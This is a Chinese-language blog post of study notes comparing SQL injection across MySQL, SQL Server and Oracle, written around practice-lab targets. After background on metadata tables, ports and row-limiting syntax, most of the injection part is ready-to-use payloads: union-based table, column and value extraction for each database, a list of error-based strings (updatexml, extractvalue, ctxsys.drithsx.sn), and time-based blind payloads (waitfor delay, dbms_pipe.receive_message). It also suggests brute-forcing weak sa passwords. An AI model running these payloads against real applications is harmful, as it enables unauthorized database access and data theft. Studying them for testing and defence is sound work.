总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

安装教程

sql Server

https://blog.csdn.net/qq_20042935/article/details/93300262
使用:Microsoft SQL Server Management Studio对数据库进行连接

Oracle 11a安装教程

https://www.w3cschool.cn/oraclejc/oraclejc-41xa2qqv.html
链接:https://pan.baidu.com/s/1sJMn4kfPN3w3wNFzb1SfXg 提取码:8klk

常用环境

Mysql

apache + php

Oracle

暂时无了解

Sql Server(微软)

IIS + ASP(ASPX)

元信息的储存方式

Mysql

mysql是以information数据库的形式存储的元信息。
其中mysql数据库的用户存储在mysql数据库中的user表。user表中的user列和password列分别存储着登录用户名的username和md5(password)

information_schema数据库;其中的表有:information_schema.tables和information_schema.columns(存储了整个Mysql的表和整个Mysql的列值);其中的information_schema.tables的table_name列和table_schema列存储了数据库的表名和数据库的库名;information_schema.columns的column_name和table_name存储了数据库的列名和数据库的表名。 

Sql Server

sql server在每次新建一个数据库时都会新建一个系统视图,主要分为information_schema和sys两类。
(1)说说information_schema数据表 其中的table_sechema的值为dbo 接下来的元信息库的数据信息就和mysql的一样了。
ps:相当于sqlserver这里把information数据库里的信息拿出来当做系统视图表了
(2)说说sys视图表
sys.all_objects(或者sys.objects)(或者sys.sysobjects)里的name列存储了所有的表名
sys.all_columns(或者sys.columns)(或者sys.syscolumns)里的name列存储了所有的列名 sys.databases(或者sys.sysdatabases)里的name列存储了所有的数据库名 sys.schemas里的name列存储了数据库的用户权限 sys.servers里的name列存储了当前计算机名 sys.sql_logins里的name存储了当前登录的用户 sys.tables里的name列存储了当前数据库的表名 sys.sysusers里的name列存储了所有的用户名
sys.syslogins里的name列和password列分别存储着用户名和加密后的password(不可逆),一般想着怎么暴力破解吧。。。 一般sa弱口令或者用户系统登录弱口令

sql server里的元函数

1.返回列的定义长度
col_length(‘table’,’column’)
2.返回列的名称
ps:该参数值可以使用查询语句
select * from sys.columns查看 col_name(table_id,column_id)
3.返回数据库的名称
ps:该参数值可以使用查询语句
select * from sys.databases查看
db_name(database_id)
4.返回数据库对象的表示id object_id(‘表名或者数据库名’)

Oracle

Oracle在每次创建用户的时候,都会创建一个用户名称对应的数据库(默认数据库)。Oralce数据库将元数据存放到静态数据字典视图。(SYS数据库)。猜测,用户是在表空间下操作,所以可以直接访问SYS数据库里面的表,即元数据库。
接下来说一说常用关注的表
dual表,oracle特有的表,可以和union null结合使用
user_tables表,其中的table_name列是当前数据库的表名 all_tables表,其中的owner列是所有数据库名,其中的table_name列是所有的数据库表名
user_tab_columns表,其中的table_name列是当前数据库表名,column_name列是当前数据库字段名

关于登录用户与登录用户访问一些设置

mysql

mysql的远程登录用户在mysql的user表中, host列代表远程登录主机,%表示所有主机。
TCP-3306

sql server

使用新建的账户远程登录就行
TCP-1433,UDP-1434

oracle

要赋予远程登录的权限
还需要开启tnslisten
默认端口:1521
Web界面端口:1158

关于sql 查询语法的一些差别

mysql

使用limit关键字来限制查询结果 https://www.cnblogs.com/xiaoshen666/p/10824117.html

oracle

oracle限制查询条数–rownum用法详解:
https://blog.csdn.net/qq_26222859/article/details/72957661
对于rownum来说它是oralce系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,且rownum不能以任何表的名称作为前缀。
(1)rownum对于等于某值的查询条件
where rownum=1(返回第一条)
where rownum=2(出错)
(2)rownum对于大于某值的查询条件
如果想查找二行以后的记录,可以使用一下的子查询方法来解决。
ps:注意子查询中的rownum必须要有别名,否则还是不会查出记录来,这是因为rownum不是某个表的列,如果不起别名,无法知道知道rownum是子查询的列还是主查询的列

select * from(select rownum no,table_name from user_tables) where no>2 

(3)对于小于某值的查询条件 rownum对于rownum1的自然数)的条件认为是成立的,所以可以找到记录。

select rownum,id,name from student where rownum 

如果查询某区间的数据,必须是有子查询。

select * from (select rownum no,id,name from student where rownum=2; 

sql server

使用top关键字来限制查询结果

# 去除前三条数据 select top 3  * from table  #取出数据的前百分之20 select top 20 percent * from table  #从查询的200条数据中取出30-100条数据 select top 1 name,1,null from sys.tables where name not in (select top 1 name from sys.tables) 

关于sql注入的一些差别

ps:以墨者学院靶场为例,虽然语句有些变形,但基础语句是这样的

union查询

mysql

回显字段(union默认是当前表) order by 4 ps:不用使用相同类型的值 union select 1,2,3,4 查表 union select table_name from information_schema.tables where table_schema=database() 查第二个表 union select table_name from information_schema.tables limit 1,1 where table_schema=database() 查列 union select column_name from information_schema.columns where table_name='test2' 查询第二个列 union select table_name from information_schema.tables limit 1,1 where table_schema=database() 查字段值 union select aaa from test2 union select aaa from test2 limit 1,1 

oracle

回显字段(union默认是当前表) order by 4 使用null来判断回显,然后再判断数据类型,并且这里必须要跟一张表,所以这里跟dual表 union select 1,null from dual 查表 union select null,(select table_name from user_tables where rownum=1) from dual 查表第二行 union select null,(select table_name from(select rownum no,table_name from user_tables) where no=2) from dual ps:此处还有一种查询方法 union select 1,(select table_name from user_tables where rownum=1 and table_name'test2') from dual 查列 union select 1,(select column_name from user_tab_columns where table_name='test3' and rownum=1) from dual 查第二列 union select null,(select column_name from(select rownum no,column_name from user_tab_columns) where no=2) from dual 查字段值 union select null,(select "test33" from "test3" where rownum=1) from dual 查询第二个字段值 union select null,(select "test33" from(select rownum no,"test33" from "test3") where no=2) from dual 

sql server

ps:实战演示使用union all select 具体原因不清楚,使用union select在asp会报错 回显字段 order by 3 注意:数据类型的对齐 union all select '1',1,'1'; 查表 union all select name,1,null from sys.tables 查第二个表 (头大的问题,使用union all那么排序不在起作用,这样就无法使用top关键字来查询) union all select name,1,null from sys.tables where name'第一个表名' 找到如下办法(not in 里面的top 1 代表实际查询的第二行): union all select top 1 name,1,null from sys.tables where name not in (select top 1 name from sys.tables) 查列 union all select top 1 col_name(object_id('table1'),1),1,null from sys.columns  查字段的值 union all select top 1 username,1,null from manage where username not in (select top 1 username from manage) 

说明:这里order by 字段数量有差异,但大致方法一样

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

报错注入

mysql

这里做一波收集 1.select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.select * from test where id=1 and exp(~(select * from(select user())a)); 

sql server

mssql报错注入利用的是显示或隐式转换来报错注入 select * from admin where id =1 and (select user)>0--  select * from admin where id =1|(select user)-- 

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

oracle

说明:其他报错语句自行查阅吧 or 1=ctxsys.drithsx.sn(1,(select user from dual)) -- or 1=ctxsys.drithsx.sn(1,(select (select table_name from user_tables where rownum=1) from dual)) -- 

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别
总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

时间盲注

mysql

条件运算符可以更换 and if((sql语句),时间函数,1) %23 

sql server

waitfor指定触发器、存储过程或事物执行的时间、时间间隔或事件;还可以用来暂时停止程序的执行,直到所设定的等待时间已过才继续往下执行。
语法如下:

waitfor delay|TIME 

其中’时间’必须为DATETIME类型的数据,如:”11:15:27″,但不能包括日期。 各关键字含义如下:
delay:用来设定等待的时间,最多可达24小时

waitfor delay'00:00:03' 

TIME:用来设定等待结束的时间点

waitfor time'15:00:00' 

注入payload如下

;if(ascii(substring((select top 1 name from sys.tables),1,1)))>1 WAITFOR DELAY '0:0:5'-- 

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

oracle

1.dbms_pipe.receive_message(‘xxx’,1) 说明:1.只有数据库管理员才能使用DBMS_LOCK包。

and 1= dbms_pipe.receive_message('xxx', 1)-- 

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

2.decode(value,条件,值,其他值)

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',2),0) from dual) -- 

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

说明:看着网上大佬有增加查询量来增加执行时间的操作 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) -- 

总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别
总结Mysql 、Sql Server 、Oracle关于sql注入的一些细微区别

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论